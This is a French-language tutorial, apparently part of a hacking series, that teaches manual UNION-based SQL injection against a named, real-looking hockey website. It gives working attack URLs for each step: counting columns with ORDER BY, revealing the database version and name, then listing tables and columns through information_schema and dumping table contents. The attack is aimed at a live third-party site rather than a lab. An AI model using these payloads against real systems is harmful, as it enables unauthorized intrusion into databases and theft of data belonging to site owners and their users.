Yop ! Bon si vous avez suivi mes 2 tutos précedents vous connaissez les bases de la SQL et comment reconnaitre qu'un site est faillible et le type de requete qu'il utilise. Mais bon, ne nous voilons pas les yeux, l'injection reste la meilleure partie Tout d'abord prenons un site faillible SQL : http://www.nhlegendsofhockey.com/news.php?id=65 Donc si nous rajoutons une guillement : http://www.nhlegendsofhockey.com/news.php?id=65' Nous obtenons le commun Bon commençons ! I - La phase d'équilibre. Nous savons que le requete utilisée est la INTIGER BASED ( voir partie 2 ) donc nous allons devoir trouver comment équilibrer l'url avant de pouvoir injecter. Voici le symbole d'équilibre correspondant à chacune des requetes : INTIGER BASED : Rien SINGLE QUOTE BASED : ' DOUBLE QUOTE BASED : " INTIGER BASED BRACKET ENCLOSED : ) BRACKET ENCLOSED SINGLE QUOTE BASED : ') BRACKET ENCLOSED DOUBLE QUOTE BASED : ") Ce symbole se placera juste apres le paramètre faillible. http://www.nhlegendsofhockey.com/news.php?id=65-- Vous remarquerez que aucun symbole n'a été utilisé sachant que la requete utilisé est la INTIGER BASED De plus, il faudra toujours rajouter les 2 -- qui auront un role de mise en commentaire. II - La phase d'injection : Notre injection se placera entre le symbole d'équilibre et la partie commentaire ( -- ) Voici un schéma de la situation : A)- Trouver le nombre de colonnes ( columns ) Nous allons ( oui comme dans la photo juste au dessus ) utiliser 'Order By' pour trouver le nombre de colonnes http://www.nhlegendsofhockey.com/news.php?id=65 order by 5-- Si la page s'affiche normalement alors il faut augmenter le nombre http://www.nhlegendsofhockey.com/news.php?id=65 order by 15-- Bon il y a moins de 15 colonnes. Nous devons donc baisser le nombre http://www.nhlegendsofhockey.com/news.php?id=65 order by 10-- La page s'affiche normalement on augmente donc le nombre http://www.nhlegendsofhockey.com/news.php?id=65 order by 11-- Ca ne marche pas pour 11 mais ca marchait pour 10 Bingo il y a donc 10 colonnes ! B)- UNION SELECT Maintenant nous savons qu'il y'a 10 colonnes et nous pouvons donc utiliser 'UNION SELECT' Notre nouvelle URL : http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,4,5,6,7,8,9,10-- N'oubliez pas le tiret entre le = et la variable ( ici 65 ) Le contenu de la page change et nous voyons apparaitre plusieurs nombres a la place du contenu : Ainsi la colonne 4 & la 7 sont "vulnérables". Essayons de trouver la version MySQL utilisée : http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,@@version,5,6,database(),8,9,10-- Bingo les informations voulues apparaissent à l'écran ! Voici la liste des commandes supplémentaires que vous pouvez utiliser http://prntscr.com/7qn070 C)- Récuperer le nom des tables contenus dans la BDD Nous voici donc avec cette URL : http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,4,5,6,7,8,9,10-- Et les colonnes 4 et 7 sont "vulnérables" Nous allons utiliser la colonne 4 pour trouver le nom des tables : http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10 from information_schema.tables where table_schema=database()-- Vous remarquerez table_name a la place de la colonne 4 et ajoutez from information_schema.tables where table_schema=database() à la fin de l'injection Il n'y a donc qu'une seule colonne nommée "arenaevents" D)- Récuperer le nom des colonnes de la table http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_schema=database() and table_name='arenaevents'-- Vous remarquerez column_name a la place de la colonne 4 et from information_schema.columns where table_schema=database() and table_name='nom de la table'-- à la fin de l'injection Ici la table 'arenaevents' contient seulement une collone 'id' E)- Récuperer le contenu de la colonne http://www.nhlegendsofhockey.com/news.php?id=-65 union select 1,2,3,group_concat(id),5,6,7,8,9,10 from arenaevents-- Vous remarquerez group_concat(colonne1,coloone2,etc..) a la place de la colonne 4 et from nom de la table-- à la fin de l'injection Voila nous récupérons les données contenus dans la table id Oui je vous l'accorde les données sont très maigres vu que la table Voila si vous etes arrivés jusqu'ici alors vous savez désormais comment faire une injection manuelle